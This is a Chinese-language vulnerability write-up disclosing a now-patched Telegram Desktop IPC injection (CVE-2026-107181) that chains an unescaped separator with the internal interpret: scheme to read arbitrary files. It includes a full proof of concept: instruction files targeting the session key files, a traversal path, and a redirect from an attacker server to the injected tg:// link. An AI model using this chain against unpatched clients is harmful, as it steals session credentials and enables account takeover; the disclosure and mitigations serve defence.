Telegram Desktop:通过 IPC 注入实现一键账号接管
Telegram Desktop 单实例 IPC 里的分隔符没有转义,点一次链接就能把磁盘上任意文件读出并发给攻击者,会话凭据也不例外。
中文
复制

简介
有人把你拉进一个 Telegram 群。聊天里冒出一条链接。你点了它,你的 Telegram 账号就不再只属于你了。
怎么做到的?
Telegram Desktop 会把点击的链接以文本形式,通过本地 socket 交给已经在运行的自身实例,而且从不转义它用来分隔命令的那个字符。于是一条精心构造的链接不会作为一个指令送达:它会作为好几条送达。
我找到的这条链上有两个缺陷。第一个是那个注入。第二个是注入的命令能触及的东西:一个内部 URI scheme,interpret:,它会读取某个指令文件里指定的文件并发到某个聊天,既不检查是谁发起的,也没有确认。两者合起来,就把一次点击变成任意文件读取。本文先走一遍这条链,再用它偷走那些构成受害者登录凭据的文件。
| 受影响 | Telegram Desktop 至 7.2.8,已在 Windows(6.9.3)上确认 |
|---|---|
| 影响 | 远程任意本地文件读取,外泄至攻击者控制的聊天;账号接管 |
| CVE | CVE-2026-107181 |
| 修复于 | 7.2.9,commit db3405699f |
| 严重程度 | 8.1 High,CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N |
一条链接,两个进程
操作系统允许程序注册 URI scheme,这样遇到这类链接时就知道该启动哪个应用。Telegram Desktop 注册了 tg。此后系统就知道 tg://... 链接属于 Telegram,并以该 URL 作为命令行参数启动它。
如果 Telegram 没在运行,进程启动,把字符串当作参数接收,转成 URL 对象并在内部处理:一个进程,没有什么需要通信。
但如果 Telegram 已经在运行呢?操作系统既不知道也不检查:它照样启动一个新进程,和第一个一模一样。Telegram 自己得判断出自己是多余的那个,而它判断的方式,是尝试连接一个本地 socket。
已经在运行的实例就是服务端:它从启动起就一直在这个 socket 上监听。新进程是客户端。如果它成功连上,说明已经有一个实例活着,于是它把链接交出去,然后退出。
socket 传不了对象,只能传字节。新进程内存里那个 URL 对象没法穿过这条通道,必须先压成一行文本。
这个操作有个名字:序列化。它的逆操作——从文本重建对象——叫反序列化。只要结构化数据要跨越边界,这两步就绕不开;而也正是在这里,数据内部的边界不再由结构维持,变成了文本里的字符。
Telegram 用的是自己的一套格式,很简单。每条指令是一个关键字,后面跟参数,最后用分号收尾。要打开一个链接,就写成:
OPEN:tg://x?a=1;
tg://x?a=1 在 Telegram 内部匹配不到任何处理函数,所以单独看这个链接什么也不会做。它只是个载体。
这一行就是在这里拼出来的,每个要打开的 URL 一行:
// sandbox.cpp:295-297
for (const auto &url : cRefStartUrls()) {
commands += u"OPEN:"_q + url.toString(QUrl::FullyEncoded) + ';';
}
另一边,运行中的实例做反序列化:读取收到的字节,在每个分号处切开,把每一段都当成一条独立指令。对于以 OPEN: 开头的每一段,它取后面的内容重新构造成一个 URL,就像这个 URL 刚从命令行传进来一样。
// sandbox.cpp:453-463 (abbreviated)
for (int32 to = cmds.indexOf(QChar(';'), from); to >= from; ...) {
auto cmd = base::StringViewMid(cmds, from, to - from);
...
} else if (cmd.startsWith(u"OPEN:"_q)) {
startUrls.append(cmds.mid(from + 5, to - from - 5).mid(0, 8192));
未转义的分隔符
那么,如果传输的某个值本身含有分号——也就是这个格式用作分隔符的那个字符——会怎样?拿前面的链接,往里面加点东西:
tg://x?a=1;CMD:quit
新进程把它当成一个 URL,因为对它来说那个分号只是查询串里的一个普通字符。它把这个 URL 压平,写进 socket:
OPEN:tg://x?a=1;CMD:quit;
运行中的实例在每个分号处切开,于是拿到两条指令,而不是一条:
OPEN:tg://x?a=1
CMD:quit
这就是注入,也是两个缺陷中的第一个。
interpret: URI scheme
上面的例子注入的是 CMD:,但别被名字骗了:它只接受 show 和 quit,所以最坏的结果也就是把应用关掉。
一共接受四条命令,其中三条无害。第四条是 OPEN:,问题就出在这里:它接受任意 URL,对协议不做任何过滤。
翻代码还能发现 Telegram 内部另一个 URI scheme,叫 interpret:。
操作系统拿到以 interpret: 开头的链接根本不知道该怎么办,因为它没有注册为任何协议处理器:它只存在于 Telegram 自己的代码里,和别的 scheme 一样从 start-URL 列表里被捡出来。
// application.cpp:1162-1164
if (url.scheme() == u"interpret"_q) {
interprets.append(url.path());
return false;
于是通过 OPEN: 就能走到它:
tg://x?a=1;OPEN:interpret:instructions.txt
那 interpret: 是干什么用的?
它是 Telegram 当年发布自己版本用的工具。新版本发布时,构建产物要发到某个频道,更新日志作为配文。与其手动操作,不如让脚本写一个小文本文件,写明频道、要发送的文件和要写的文字,然后带着这个文件的路径启动 Telegram。
# Telegram/build/updates.py:206
subprocess.call(... 'Telegram -sendpath interpret://' + scriptPath
+ '/.../command.txt', shell=True)
指令文件长这样:
from: 1234567890
channel: 1987654321
file: out/Release/deploy/6.9.3/tsetup.6.9.3.exe
caption: TDesktop at 12.06.26:
- Fixed a crash in the media viewer.
- Added a new sticker pack.
from: 的值会和当前登录账号的 id 比对:防止操作者用错账号发版本。这一行只有存在时才会检查,不写就跳过。目标只由 channel: 指定,且必须是频道或超级群组。
干活的是一个叫 InterpretSendPath 的函数。
那 bug 在哪?interpret: 执行的是一个特权操作,从磁盘上读取任意文件并发到某个聊天里,既不向任何人确认,也不检查是谁要求的。
这个函数没有任何授权检查。
// support_helper.cpp:673-680
QString InterpretSendPath(
not_null<Window::SessionController*> window,
const QString &path) {
QFile f(path);
if (!f.open(QIODevice::ReadOnly)) {
return "App Error: Could not open interpret file: " + path;
}
const auto content = QString::fromUtf8(f.readAll());
从命令行调用时——发布脚本就是这么调的——这不是问题:攻击者得先在这台机器上站稳脚跟,而一旦站稳了,文件他自己就能读。但同一个操作一旦能通过 socket 触达,进而通过注入触达,一个危险函数就变成点一下链接就能用了。
这是缺失的授权检查,也是两个缺陷中的第二个。
把指令文件写到磁盘上
攻击者只要能把一个指令文件放到受害者磁盘上,让file:指向一个值得偷的文件路径,让channel:指向自己的信道,就能靠一次点击链接把机器上任意文件外传出去。
那么,攻击者如何把文本文件放到别人磁盘上一个可预测的路径?最直接的办法是当作聊天附件发过去。
实际情况是,Telegram Desktop 在默认配置下会自动下载群组中收到的、大小不超过 8 MiB 的文件,而广播频道里自动下载是关闭的。文件会落到一个标准文件夹里,沿用发送者选定的文件名,不需要受害者点击,位置可预测(若发生重名,Telegram 会改存为instructions1 (2).txt)。有些格式,比如贴纸、GIF 和语音消息,会进入内部缓存,无法作为磁盘路径访问。
这个路径由 Telegram 自己拼接(file_utilities.cpp:172-181)。在 Windows 上:
C:\Users\<user>\Downloads\Telegram Desktop\<file name>
把文件发进群组,攻击者就确切知道它会存到哪里。路径里似乎还剩一个未知量——Windows 用户名,但interpret:同样接受相对路径,而相对路径是相对于 Telegram 自己的工作目录解析的,也就是它的数据文件夹(logs.cpp:381)。在 Windows 上那是%APPDATA%\Telegram Desktop,位于用户主目录下三层,而Downloads就在主目录里。所以像这样的路径:
interpret:../../../Downloads/Telegram%20Desktop/instructions.txt
就能给攻击者一个确定的路径,全程不需要知道用户名。
从读取文件到接管账号
InterpretSendPath每次调用只发送一个文件:如果指令文件里有多行file:,只有最后一行生效。有两点能突破这个限制。攻击者想发多少个指令文件都行,而且注入不会在第一条命令处停下:每个分号都会开启下一条。于是三个目标就是三个指令文件,加上一条链接里堆叠的三条命令。
tg://x?a=1
;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions1.txt
;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions2.txt
;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions3.txt
整个过程中原语始终不变:任意文件读取。变的只是读什么:SSH 私钥、浏览器密码库、云凭证文件,或者存有 API token 的配置文件。
Telegram 不会以明文保存本地数据,因此用户在磁盘上保存的一切都经过加密,包括会话授权信息。客户端靠这个密钥向 Telegram 服务器表明自己的身份,只要拿到它,就等同于拿到该账号,和网站上的 session cookie 差不多。
Telegram 采用密钥封装。这里涉及两个密钥。第一个是 DEK(Data Encryption Key,数据加密密钥),长、随机、熵高,用来加密用户数据。第二个是 KEK(Key Encryption Key,密钥加密密钥),只用来加密 DEK,它并不是密码本身:它由密码经密钥派生函数(KDF)派生而来,同时还要用到与加密后的 DEK 存放在一起的 salt。
用伪代码表示,打开本地数据的链条是这样的:
salt, encrypted_DEK = read("tdata/key_datas")
passcode = user_passcode() # empty if none is set
KEK = KDF(passcode, salt)
DEK = decrypt(encrypted_DEK, KEK)
session = decrypt(authorization_file, DEK)
默认情况下 Telegram Desktop 没有本地 passcode,需要自己进设置里设一个。没设的时候,参与派生的密码是空的(storage_domain.cpp:102),于是 KEK 由空字符串加 salt 派生而来,而这个 salt 以明文存放在 tdata/key_datas 中,也就是保存加密 DEK 的那个文件。只要读到这一个文件,就足以重新算出 KEK 并解封 DEK。
所以,在没有设置 passcode 的情况下,谁拿到 key_datas,谁就拿到 DEK,而有了 DEK,其余一切都能解密,会话授权信息也不例外。
涉及三个文件,其中只有两个保存机密:
tdata/
├── key_datas the salt and the encrypted DEK
├── D877F783D5D3EF8Cs the MTProto authorization, encrypted with the DEK
└── D877F783D5D3EF8C/
└── maps the index of the account's stored data
这个文件夹名不是随机的,也不因安装而异。它由字符串 data 派生而来,也就是默认数据名(storage_file_utilities.cpp:241-250)。每一处安装都完全相同。
第三个文件是索引,不含任何机密。但少了它,会话仍然加载不起来:Telegram 只有在读取该索引时才会读取授权信息。不过偷不偷它是可选的:攻击者完全可以自己造一个。在这个概念验证里,只是为了方便,把它和另外两个文件一起拿走。
由此可见,同时拿到这三个文件的攻击者就拿到了账号:把它们放进一个全新的 tdata,启动 Telegram,受害者的会话就打开了。
投递链接
攻击需要受害者点一次,而且必须来自 Telegram 之外。在 Telegram 聊天里点击 tg:// 链接会由进程内处理(click_handler_types.cpp:278),根本到不了 socket,也就没有可注入的地方。而普通的 https 链接会在系统浏览器中打开(ui_integration.cpp:437),因为 Telegram Desktop 没有内置浏览器。于是攻击者发一条普通的 https 链接,让自己的服务器把它重定向到构造好的 tg:// 链接。
GET /rules HTTP/1.1
Host: corvus.sec
HTTP/1.1 302 Found
Location: tg://x?a=1;OPEN:interpret:instructions.txt
视浏览器而定,也取决于受害者此前是否用过该 handler,系统可能会在启动 Telegram 前要求确认。
概念验证
-
攻击者创建一个超级群组,把受害者拉进去。Telegram 默认的隐私设置允许这样做,被邀请者无需确认。
-
攻击者在群里发三个指令文本文件,每个对应一个要窃取的文件,全部把攻击者自己的群组指定为目标。省略
from:这一行就完全跳过账号检查:channel: 2001234567 file: tdata/key_datas caption: poc文件必须是纯文本,使用 LF 换行,且不带字节序标记。另外两个文件分别指向
tdata/D877F783D5D3EF8Cs和tdata/D877F783D5D3EF8C/maps。受害者打开群组时,自动下载会把这三个文件全部存到本地磁盘——而受害者本来就会打开这个群组,因为第 3 步的链接就在里面等着。 -
攻击者往聊天里发一条人畜无害的链接:
https://corvus.sec/rules -
受害者点击。浏览器跟随重定向,这次重定向里每个目标带一条命令,下面为了排版换行,实际是作为一行发送的:
tg://x?a=1 ;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions1.txt ;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions2.txt ;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions3.txt -
操作系统启动第二个 Telegram 进程,该进程通过 socket 把 URL 转发给正在运行的进程。未转义的分号把它拆开,注入随即触发。
-
三条
interpret:命令执行,三个文件被上传到攻击者的群组。全程没有弹出确认对话框。 -
攻击者用这三个文件重建
tdata,打开受害者的账号。
缓解措施
升级到 7.2.9 或更高版本。 这是唯一真正堵住问题的办法。其余措施只能降低暴露面。
- 打开“询问每个文件的保存位置”。 开启后自动下载完全不会发生,指令文件也就到不了磁盘。这是除升级之外最有效的缓解措施。
- 把“谁可以把我拉进群组”限制为仅联系人。 被窃取的文件只能发到频道或超级群组,这一设置就断掉了攻击者接收文件的地方。
- 设置本地密码,并且像对待真正的密码一样去选它。 它不能阻止文件被窃取,只能让被窃取的会话无法使用。
修复
由 2026 年 9 月 16 日的提交 db3405699f 修复。更新日志把 7.2.9 也标为同一天;版本实际在次日早晨发布。该提交彻底移除了 interpret:// scheme 和 Support::InterpretSendPath,并对单实例 socket 上的记录分隔符做了转义:写入前用百分号前缀的十六进制编码转义,拆分后再解码,因此数据里的分号不再可能变成边界。
除此之外还加了两道措施:当同一条连接上出现 OPEN: 时,跳过 CMD: 和 CTRL: 记录;一旦该连接上出现过非本地 URL,就丢弃本地文件路径。
时间线
| 日期 | 事件 |
|---|---|
| 2026-06-25 | 通过 ZDI 报告 |
| 2026-09-16 | 厂商独立修复该问题,提交 db3405699f |
| 2026-09-17 | Telegram Desktop 7.2.9 发布 |
| 2026-09-30 | ZDI 以“已修复”结案;披露权归还给我 |
| 2026-10-03 | 本文 |
| 2026-10-07 | 分配 CVE-2026-107181 |
修复是悄悄发布的:7.2.9 的更新日志只提到一处渲染修复,终结整条利用链的提交标题是 “Remove legacy interpret path helper”,也没有附带任何安全公告。
BeakSec 的 YouTube 频道
如果你对这类内容感兴趣,我会在自己的 YouTube 频道 BeakSec 上发布网络安全相关的内容。频道刚起步,订阅就是支持。